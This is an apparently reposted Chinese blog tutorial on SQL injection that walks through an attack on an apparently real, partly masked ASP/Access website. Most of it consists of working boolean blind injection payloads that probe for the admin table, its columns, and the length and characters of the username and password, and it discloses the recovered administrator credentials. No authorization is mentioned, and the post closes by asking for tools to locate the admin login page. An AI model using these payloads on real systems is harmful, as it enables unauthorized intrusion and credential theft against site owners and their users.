zoukankan      html  css  js  c++  java
  • (转)sql注入原理和过程

     一、sql注入原理
        程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
        受影响的系统:对输入的参数不进行检查和过滤的系统。


    二、sql注入过程

    1.找到链接
    我找的链接是:http://www.***.com/main_weblist.asp?key_city=1
    其实,类似http://hostname/***.asp?id=*的网页都可能有sql漏洞。

    2.测试
    (1)在末尾加'
    http://www.***.com/main_weblist.asp?key_city=1'
    结果如下:
    -----------------------------------------------------------
    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
    [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误在查询表达式 'web_key=1 and web_city=1'' 中。
    /main_weblist.asp,行129
    -----------------------------------------------------------
    该信息说明:后台数据库是access。
    (2)在末尾加;
    http://www.***.com/main_weblist.asp?key_city=1;
    结果如下:
    -----------------------------------------------------------
    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
    ODBC 驱动程序不支持所需的属性。
    /main_weblist.asp,行140
    -----------------------------------------------------------
    (3)在末尾加 and 1=2 和 and 1=1
    前者返回信息:该栏目无内容,将返回上一页;
    后者正常返回;

    由此说明该网站一定存在sql注入漏洞,有很大把握可以拿到管理员的用户名和密码。

    3.猜管理员帐号表
    在末尾加上: and exists (select * from admin)
    注意and前面有一个空格。
    我们的意思是猜测他有个admin表段
    呵呵,页面返回正常,我们猜对了。当然也可能错误返回,这时就要看猜测的本事了。

    4.猜测管理员表表中的字段
    我们再来猜他的管理员表中是否有一个ID段,
    在末尾加上: and exists (select id from admin)
    OK,页面返回正常,说明他的admin表中有个id的字段;
    我们继续: and exists (select username from admin)
    这里的意思是看看他的admin表中是否有username字段,
    页面返回正常,说明在admin中有一个username字段;
    我们继续猜他放密码的字段: and exists (select password from admin)
    返回正常的页面,说明他的admin表中有个password字段。
    好了,到此可以知道admin表中至少有如下三个字段:id,username,password,这各命名方式与普通程序员的命名方法一致。

    5.猜测用户名和密码的长度
    为了下面方便进行,首先猜他的管理员的id值:
     and exists (select id from admin where id=1)
    意思是看看他的admin表中是否有一个id=1的值,
    OK,返回了正常的页面,说明我们猜对了。
    好了,接着猜ID为1的用户名长度:
     and exists (select id from admin where len(username)<6 and id=1)
    这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,
    我们一个个来实验好了,直到:
     and exists (select id from admin where len(username)=5 and id=1)
    返回了正常的页面,说明用户名的长度我们已经猜出了为5。
    用同样的方法,我们猜出了密码的长度是10,要添加的语句是:
     and exists (select id from admin where len(password)<10 and id=1)
    到此,用户名和密码的长度都已经猜出来了,下面要做的是猜出它们的每一位分别是多少。

    6.猜测用户名
    方法是,在后面加上:
     and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<100)
    其中,asc函数的功能是将字符转换成ASCII码,mid函数的功能是截取username字段值的字串,从第1位开始,截取的长度是1。
    我们这里做的意思是,猜测他的用户名的第一个字的ascii码值小于100。
    返回了正常页面,说明的确如我们所料,接着:
     and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<50)
    返回错误信息,说明:50<=第一个字的ascii码值<100。接下来,我们用折半查找的思想:
     and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))<75)
    返回错误信息,继续,直到:
     and 1=(select id from (select * from admin where id=1) where asc(mid(username,1,1))=97)
    返回正常页面,说明用户名的第一个字的ASCII码是97,查找ASCII表,知道它是a。
    接下来我们猜测第二位:
     and 1=(select id from (select * from admin where id=1) where asc(mid(username,2,1))=100)
    说明第二位的ASCII码是100,字符是d。
    接下来我们猜测,很有可能用户名就是admin,因为它正好是五位。
    为了证明我们的猜测,我们用如下方法测试:
     and 1=(select id from (select * from admin where id=1) where username='admin')
    返回正常页面,太好了,我们猜对了,用户名就是admin。

    7.猜测密码
    接下来就是猜测密码了,方法和猜测用户名的一样,只能一位一位地试了,
    这里就不一位一位列举了,还是用折半查找的思想,很快就能找到密码是SM8242825!
    用以下语句验证一下:
     and 1=(select id from (select * from admin where id=1) where password='SM8242825!')
    返回了正常页面!
    好,到此为此我们已经找到了用户名和密码,分别是:admin SM8242825!。

    8.猜测管理员入口地址
    做了很多猜测,都未果,如下链接都不是登陆接口:
    admin.asp,login.asp,admin-admin.asp,admin/login.asp等等
    后来还用了nbsi2.0工具进行自动探测,也没有找到,这给我们留下了遗憾。
    哪位朋友有好的工具或者方法,希望能相互交流。

  • 相关阅读:
    数据中心
    【Vegas原创】解决cmd窗口不够使用的方法
    【Vegas原创】定期删除archive档的方法
    【Vegas原创】Can't connect to X11 window server using ':0.0' 解决方法
    Linux 操作指令
    【Vegas原创】按自定义格式进行编号的SQL自定义函数
    Error:No description found when saving maintenance plans
    【Vegas原创】巧用任务计划
    svn命令备份
    [转载]R与python共舞
  • 原文地址:https://www.cnblogs.com/fjchenqian/p/1381574.html
Copyright © 2011-2022 走看看